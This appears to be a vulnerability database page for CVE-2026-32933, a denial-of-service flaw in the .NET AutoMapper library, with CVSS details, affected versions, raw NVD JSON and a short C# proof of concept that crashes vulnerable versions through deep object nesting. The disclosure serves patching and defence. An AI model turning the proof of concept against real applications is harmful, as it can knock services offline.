Security Vulnerability Report
中文
CVE-2026-32933 CVSS 7.5 HIGH

CVE-2026-32933

Published: 2026-03-20 03:16:00
Last Modified: 2026-04-08 20:52:17

Description

AutoMapper is a convention-based object-object mapper in .NET. Versions prior to 15.1.1 and 16.1.1 are vulnerable to a Denial of Service (DoS) attack. When mapping deeply nested object graphs, the library uses recursive method calls without enforcing a default maximum depth limit. This allows an attacker to provide a specially crafted object graph that exhausts the thread's stack memory, triggering a `StackOverflowException` and causing the entire application process to terminate. Versions 15.1.1 and 16.1.1 fix the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:luckypennysoftware:automapper:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:luckypennysoftware:automapper:*:*:*:*:*:*:*:* - VULNERABLE
AutoMapper < 15.1.1
AutoMapper < 16.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
using AutoMapper; using System; namespace PoC_CVE_2026_32933 { // Define a nested class structure public class NestedModel { public NestedModel Child { get; set; } public string Data { get; set; } } public class NestedDto { public NestedDto Child { get; set; } public string Data { get; set; } } class Program { static void Main(string[] args) { // Configure AutoMapper (Vulnerable version < 15.1.1) var config = new MapperConfiguration(cfg => { cfg.CreateMap<NestedModel, NestedDto>(); }); var mapper = config.CreateMapper(); // Construct a deeply nested object graph to trigger StackOverflow var root = new NestedModel { Data = "Root" }; var current = root; int depth = 100000; // Depth sufficient to exhaust stack Console.WriteLine($"Building object graph with depth: {depth}..."); for (int i = 0; i < depth; i++) { current.Child = new NestedModel { Data = $"Level {i}" }; current = current.Child; } try { Console.WriteLine("Attempting to map..."); // This recursive call will trigger StackOverflowException var result = mapper.Map<NestedDto>(root); Console.WriteLine("Mapping completed (unexpected)."); } catch (Exception ex) { Console.WriteLine($"Exception caught: {ex.GetType().Name}"); Console.WriteLine($"Message: {ex.Message}"); } } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32933", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:16:00.430", "lastModified": "2026-04-08T20:52:17.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AutoMapper is a convention-based object-object mapper in .NET. Versions prior to 15.1.1 and 16.1.1 are vulnerable to a Denial of Service (DoS) attack. When mapping deeply nested object graphs, the library uses recursive method calls without enforcing a default maximum depth limit. This allows an attacker to provide a specially crafted object graph that exhausts the thread's stack memory, triggering a `StackOverflowException` and causing the entire application process to terminate. Versions 15.1.1 and 16.1.1 fix the issue."}, {"lang": "es", "value": "AutoMapper es un mapeador de objetos a objetos basado en convenciones en .NET. Las versiones anteriores a la 15.1.1 y 16.1.1 son vulnerables a un ataque de denegación de servicio (DoS). Al mapear grafos de objetos profundamente anidados, la biblioteca utiliza llamadas a métodos recursivas sin imponer un límite de profundidad máxima predeterminado. Esto permite a un atacante proporcionar un grafo de objetos especialmente diseñado que agota la memoria de pila del hilo, lo que desencadena una 'StackOverflowException' y provoca la terminación de todo el proceso de la aplicación. Las versiones 15.1.1 y 16.1.1 solucionan el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:luckypennysoftware:automapper:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.1.1", "matchCriteriaId": "ED1E9072-4965-4A55-9B9F-19C83A9ABD91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:luckypennysoftware:automapper:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.1.1", "matchCriteriaId": "92FB97AB-2B2B-4D96-89D9-CE73ACABC164"}]}]}], "references": [{"url": "https://github.com/LuckyPennySoftware/AutoMapper/commit/0afaf1e91648fca1a57512e94dd00a76ee016816", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LuckyPennySoftware/AutoMapper/releases/tag/v15.1.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LuckyPennySoftware/AutoMapper/releases/tag/v16.1.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LuckyPennySoftware/AutoMapper/security/advisories/GHSA-rvv3-g6hj-g44x", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}